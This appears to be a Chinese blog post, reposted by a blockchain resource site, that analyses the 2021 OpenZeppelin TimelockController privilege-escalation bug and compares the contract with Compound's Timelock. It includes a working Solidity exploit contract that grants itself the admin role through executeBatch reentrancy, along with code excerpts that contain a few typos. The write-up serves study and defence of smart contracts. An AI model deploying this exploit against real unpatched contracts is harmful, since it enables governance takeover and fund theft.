这篇文章主要介绍了Hack Replay – Time lock ,文中通过代码以及文档配合进行讲解,很详细,它对在座的每个人的研究和工作具有很经典的参考价值。 如果需要,让我们与区块链资料网一起学习。

https://www.interchains.cc/24778.html

Hack Replay – Time lock是很好的区块链资料,他说明了区块链当中的经典原理,可以给我们提供资料,Hack Replay – Time lock学习起来其实是很简单的,

不多的几个较为抽象的概念也很容易理解,之所以很多人感觉Hack Replay – Time lock比较复杂,一方面是因为大多数的文档没有做到由浅入深地讲解,概念上没有注意先后顺序,给读者的理解带来困难

Hack Replay – Time lock

  • samczsun

最近在项目中要使用到Timelock和权限管理部分,故查阅了下Openzepplin的相关实现,意外发现Openzepplin在前两天刚刚给Timelock打补丁,原因是Timelock合约在今年8月份前的版本实现中存在一个严重的漏洞,允许任何执行者升级其权限成为admin,而执行恶意程序。

Hack Replay – Time lock

最近在项目中要使用到Timelock和权限管理部分,故查阅了下Openzepplin的相关实现,意外发现Openzepplin在前两天刚刚给Timelock打补丁,原因是Timelock合约在今年8月份前的版本实现中存在一个严重的漏洞,允许任何执行者升级其权限成为admin,而执行恶意程序。

出于学习的目的,这里先将Openzepplin实现的Timelock合约和相关的Access合约进行简单的分析,然后再指出漏洞,给出漏洞的POC,最后再与compound中实现的Timelock合约进行对比。

本文的参考链接如下:

TimelockController Vulnerability Postmortem – General / Announcements – OpenZeppelin Community

Analysis of OZ TimelockController security vulnerability patch | by Damian Rusinek | Sep, 2021 | Medium

Time Lock合约分析

https://github.com/OpenZeppelin/openzeppelin-contracts/commit/cec4f2ef57495d8b1742d62846da212515d99dd5

这里分析的TimeLock合约为Openzepplin再给它打补丁之前的合约。

首先需要知道的是:什么是Time Lock合约,以及为什么需要Time Lock合约

简单来讲Time Lock合约是一个时间锁合约,由Openzepplin于去年11月引入到3.3版本中,它实现的功能是延时执行合约动作。一个典型的例子是将TimelockController定位为dApp智能合约的管理员,因此,每当一个特权行动要被执行时,它必须等待Timelock指定的某个时间。

使用TimeLock合约可以带来如下两方面的好处:首先,它为项目团队提供了一个额外的安全层,对系统中预期的每一个特权行动给予提示。这使得团队能够检测和应对被破坏的管理账户的恶意调用。其次,它保护社区成员免受项目管理本身的影响,允许成员在不同意任何即将发生的变化时退出协议。

在Time Lock合约的核心,其设置了如下角色。提议者:用于将需要执行的方法以及对应的方法参数提交给Schedule方法,该方法会通过一个哈希运算得到将要执行的方法ID,然后将该ID及该方法预期执行的时间注册到提议表中。执行人:则提起该笔交易,同样通过execute方法计算处将要执行的方法ID,然后查询提议表中该方法ID是否存在,以及该方法ID对应的执行时间是否已经满足,如果都满足要求,则执行该笔交易。注意:存储在Timelock合约中的只有方法的ID和对应的执行时间,方法的参数及地址等均不存放在合约里。

Hack Replay - Time lock

//schedule方法只能是提议者调用 function schedule(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPSER_ROLE) {     //计算方法的ID, 思考:delay不应该计算进入方法ID。     bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));     //写入提议表之前需要验证什么?需要验证delay是不是有效?即delay超过最小delay时间没有。还需要验证该方法是不是已经写如果提议表了     require(delay >= _minDelay);     require(_timestamps[id] == 0);     //写入提议表     _timestamps[id] = delay.add(block.timestamp); } //execute方法只能是执行者调用 function execute(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {     //计算方法的ID     bytes32 id = keccak256(abi.encodePacked(target,value,data,predecessor,salt));     //查提议表,得到方法ID对应的时间戳     uint256 timestamp = _timestamps[id];     //验证方法ID对应的时间戳有效即不为0,且小于当前时间=>证明可以开始执行该方法     require(timestamp >= 1 && timestamp <= uint256(block.timstamp));     //如果predecessor不为空,则说明执行该方法前,前任必须先要执行完毕。如何判断一个方法已经执行完毕呢?将其赋值为1     if (predecessor != bytes32(0)) {         require(_timestamps[predecessor] == 1);     }     //更新提议表中的提议时间为1,防止被重复执行     _timestamps[id] = 1;     //调用call来执行方法     (bool success,) = address(target).call{value:value}(data);     require(success);     }

OpenzepplinTimelock实现中,它同时还实现了批量方法:

function scheduleBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {     //批量执行前,需要对参数进行校验     require(targets.length == values.length && targets.length == datas.length);     //批量提交议案,事实上并不是For循环调用提交议案schedule函数,并不是同时插入多个议案到提议表中,而是插入一个批量执行的议案到提议表中     bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));     _timestamps[id] = delay.add(block.timestamp); } function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt) public virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {     //批量执行前,需要对参数进行校验     require(targets.length == values.length && targets.length == datas.length);     //计算批量执行议案的ID,确认该ID对应的时间戳满足要求,即> 1 and < now     bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));     uint256 timestamp = _timestamps[id];     require(timestamp > 1 && timestamp <= block.timestamp);     //如果predecessor不为0,则判断predecessor的提案是否执行完成     if (predecessor != bytes32(0)) {         require(_timestamps[predecessor] == 1);     }     //更新该批量执行议案的ID对应的时间戳为1     _timestamps[id] = 1;     //For循环批量调用     for (uint i=0; i < targets.length; i++) {         address target = targets[i];         uint256 value = values[i];         bytes memory data = datas[i];         (bool success, ) = address(target).call{value:value}(data);         require(success);     }  }

Access合约分析

Openzepllin的权限管理合约是一个实现了ERC165的合约,它的整体思路是设置不同的角色,然后通过grantRolerevokeRole给不同的角色添加相应的用户。权限管理合约中,还存在一个全局的ADMIN角色,用于给不同角色添加或者删除用户。当需要给函数添加权限管理时,就在函数方法上添加对应的modifier

Access合约在合约里实际上维护了一个对象结构体,来保存每个address的权限信息:

map(bytes32 => RoleData) private _roles; struct RoleData {     mapping(address => bool) members;     bytes32 adminRole; } 实际的映射关系为: keccak256("TIMELOCK_ADMIN_ROLE") => address(Owner()) => true keccak256("PROPOSER_ROLE") => address(proposer1) => true keccak256("EXECUTOR_ROLE") => address(executor) => true  从上述的结构体可以看到,要设置一个角色时,需要分两步,第一步设置这个角色组的admin,第二步添加这个角色组的成员。 //第一步设置这个角色组的admin function _setupRoleAdmin(bytes32 role,bytes32 adminRole) internal virtual {     //拿到之前的preAdmin     bytes32 prev_adminRole = _roles[role].adminRole;     //给对应的角色组设置adminRole     _roles[role].adminRole = adminRole; } //第二步:给角色组添加成员 function _grantRole(bytes32 role,address account) private {     //先进行判断:即该成员是否已经是该角色组的活跃成员     if(_roles[role].members[account] != true) {         _roles[role].members[account] = true;     } } //第三步:移除角色组中的成员 function _revoke(bytes32 role,address account) private {     //先判断该角色在该角色组中,且活跃     if (_roles[role].members[account] == true) {         _roles[role].members[account] = false;     } } //第四步:检查权限 function _checkRole(bytes32 role,address account) internal view {     //先判断该账户在角色组中     bool success = _roles[role].members[account];     require(success);     //换一种写法:使用revert将失败信息传递出去     if (!success) {         revert(string(abi.encodePacked("AccessControl: account",Strings.toHexString(uint160(account),20)," is missing rolw ",Strings.toHexString(uint256(role),32))));     } }

漏洞合约

Openzepplin打补丁之前的Timelock合约中,存在者如下漏洞:

function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,uint256 salt) public payable virtual onlyRoleOrOpenROle(EXECUTOR_ROLE) {     //参数检查     require(targets.length == values.length && targets.length == datas.length);     //计算提案Id     bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));     //没有马上验提案Id的有效性     //验证predecessor是否不为空,且是否执行完毕     require(predecessor == bytes32(0) || _timestamps[predecessor] == 1);     //for循环调用     for (uint256 i=0; i < targets.length; i++) {         _call(id,i,targets[i],values[i],datas[i]);     }      //验证提案有效性     require(_timestamps[id] > 1 && _timestamps[id] <= block.timestamp);     //更新提案     _timestamps[id] = 1; }

分析该方法,首先明确External Call: _call(id,i,targets[i],values[i],datas[i]);, 其次明确该External Call是否可以被hook?由于没有对地址targets[i]进行检查,故该external call可以被hook。第三步:是否满足三种恶意模式。可以看到这里满足第二种恶意模式:data read after unsafe External Call.

思考如何利用Unsafe External Call来影响到data read, 即_timestamps[id].

可以看到,Timelock合约中的schedule方法可以写入值到_timestamps[id]

schedule onlyRole(PROPSER_ROLE):      _timestamps[id] = delay.add(block.timestamp);

但是schedule只能由Proposer来访问。且schedule中没有External Call。那这里我们是不是就没有思路了呢?注意到这里是For循环,for循环的含义是循环体内部的函数会连续执行。这里的循环体内部就只有call函数。故其执行的顺序为:

Executor->executeBatch->call(addr1)->call(addr2)->call(addr3)->check->update

我们现在想要它的执行顺序为:

Executor->executeBatch->call(addr1)->call(addr2)->Proposer.schedule->update(_timestamps)->check(_timestamps)->update

故为满足proposer来调用schedule方法,最简单的方式是通过admin给外部地址alice添加角色Proposer

Executor->executeBatch->this.grantRole(Proposer)->this.updateDelay(0)->Proposer.schedule->->update(_timestamps)->check(_timestamps)->update

漏洞分析

在具体编写POC时,需要注意msg.sender分别是谁。

在step1中,调用方法为:address(timelockController).updateDelay(0) 由于这是在调用executeBatch内部的for循环里调用的,故其msg.sender就是timelock自身。

EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> for -> call -> timelock.updateDelay

这也是为什么可以绕过updateDelay中的检查:

function updateDelay(uint256 newDelay) external virtual {     requrie(msg.sender == address(this));     _minDelay = newDelay; }

同理针对setp2, address(timelockController).grantRole()也是一样

其次,在step3中,此时已经将Exploit赋予了admin权限,故在step3中,需要用Exploit合约作为msg.sender, 故调用方式为:

EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> call -> Exploit.attack -> call -> timelock.scheduleBatch

在具体的attack函数中,在执行attack函数后,在执行executeBatch结束前,满足如下条件

_timestamps[id] > 1 && _timestamps[id] <= block.timestamp

故需要构造一个相同的ID才行,并让delay设置为0即可。

漏洞利用

从上面的漏洞合约分析中,可以看到,关键点在于For循环体内的函数是会连续执行的,得到的函数执行顺序是

call_1->call_2->call_3->check->update

这里的3个call都是可以由我们自己自由控制的,unsafe External Call的核心其实是在函数执行的中间,控制函数执行的顺序。故给出的POC如下:

pragma solidity ^0.8.0; import "./TimeLockController.sol"; import "./ITimeLockController.sol"; import "hardhat/console.sol"; contract Setup {     address[] public proposer;     address[] public executor;     TimelockController public timelock;     uint public minDelay;     constructor(address _proposer) {         proposer.push(_proposer);         //anybody can be an executor         executor.push(address(0));         minDelay = 86400;         timelock = new TimelockController(minDelay,proposer,executor);     } }
pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "./Setup.sol";  contract Exploit {      Setup public setup;     TimelockController public timelock;     uint public minDelay;     bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");     bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");     bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");     uint256 internal constant _DONE_TIMESTAMP = uint256(1);      constructor(address _setup) public {          setup = Setup(_setup);          timelock = setup.timelock();      }     function hack() public {         //executebatch->timelock.updateDelay(0)->timelock.grantRole(PROPOSER_ROLE,address(Exploit))->address(this).schedule(delay=0)          //executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt)          address[] memory targets = new address[](3);         uint256[] memory values = new uint256[](3);         bytes[] memory datas = new bytes[](3);         bytes32 predecessor = bytes32(0);         bytes32 salt = bytes32(0);         uint256 delay = 0;          //step1: timelock.updateDelay(0)         targets[0] = address(timelock);         values[0] = 0;         datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));          //setp2: timelock.grantRole         targets[1] = address(timelock);         values[1] = 0;         datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));                 //setp3: exploit.attack         targets[2] = address(this);         values[2] = 0;         datas[2] = abi.encodePacked(this.attack.selector);         timelock.executeBatch(targets,values,datas,predecessor,salt);     }      function attack() public payable {         //step1 : grant PROPOSER_ROLE to self         timelock.grantRole(PROPOSER_ROLE,address(this));         //grant ADMIN_ROLE to tx.origin so that we can use.         timelock.grantRole(TIMELOCK_ADMIN_ROLE,tx.origin);          //setp2 : submit a scheduleBatch => because we need to bypass the _timestamps[id], as well the id is executeBatch         //make delay=0         //scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay)          address[] memory targets = new address[](3);         uint256[] memory values = new uint256[](3);         bytes[] memory datas = new bytes[](3);         bytes32 predecessor = bytes32(0);         bytes32 salt = bytes32(0);         uint256 delay = 0;                 //step1: timelock.updateDelay(0)         targets[0] = address(timelock);         values[0] = 0;         datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));                //setp2: timelock.grantRole         targets[1] = address(timelock);         values[1] = 0;         datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));                //setp3: exploit.attack         targets[2] = address(this);         values[2] = 0;         datas[2] = abi.encodePacked(this.attack.selector);               timelock.scheduleBatch(targets,values,datas,predecessor,salt,delay);      }     }

Hack Replay - Time lock

与Compound中Timelock对比

compound中Timelock设计思路与openzepplinTimelock设计思路不完全一致。Compound的想法比较简单,只有admin是提议者,也只有admin是执行者。与Openzepplin中使用_timestamps[id]=block.timestamp+dylay的方式不同,compound中仅使用queuedTransactions[id]=true/false来判断该笔提议是否已经被提议者提交。当然,compound中判断一笔提议的到期时间也是自己的逻辑:

bytes32 txHash = keccak256(abi.encode(target,value,signature,data,eta)); 而在openzepplin中: bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));

openzepplin的方法id中并不包含该方法的到期时间,因为该方法的到期时间写入了_timestamps[id]中,而compound的方法id中包含了该方法的到期时间。同时也说明compound中将同一个方法在不同的到期时间执行视为不同的方法。这一点不如openzepplin的设计合理。

compound中也没有批量执行的概念和先序执行的概念,即缺少了scheduleBatch, executeBatch以及predecessor参数,对于一笔需要前一笔交易必须执行完成后才能执行的提案,openzepplin有更好的保护机制。但同时compound也将权限限制为admin才能提交,执行提案,这一点也降低了这一风险,但增加了中心化程度。

部分转自网络,侵权联系删除www.interchains.cchttps://www.interchains.cc/24778.html

区块链毕设网(www.interchains.cc)全网最靠谱的原创区块链毕设代做网站 部分资料来自网络,侵权联系删除! 最全最大的区块链源码站 ! QQ3039046426
区块链知识分享网, 以太坊dapp资源网, 区块链教程, fabric教程下载, 区块链书籍下载, 区块链资料下载, 区块链视频教程下载, 区块链基础教程, 区块链入门教程, 区块链资源 » Hack Replay – Time lock

提供最优质的资源集合

立即查看 了解详情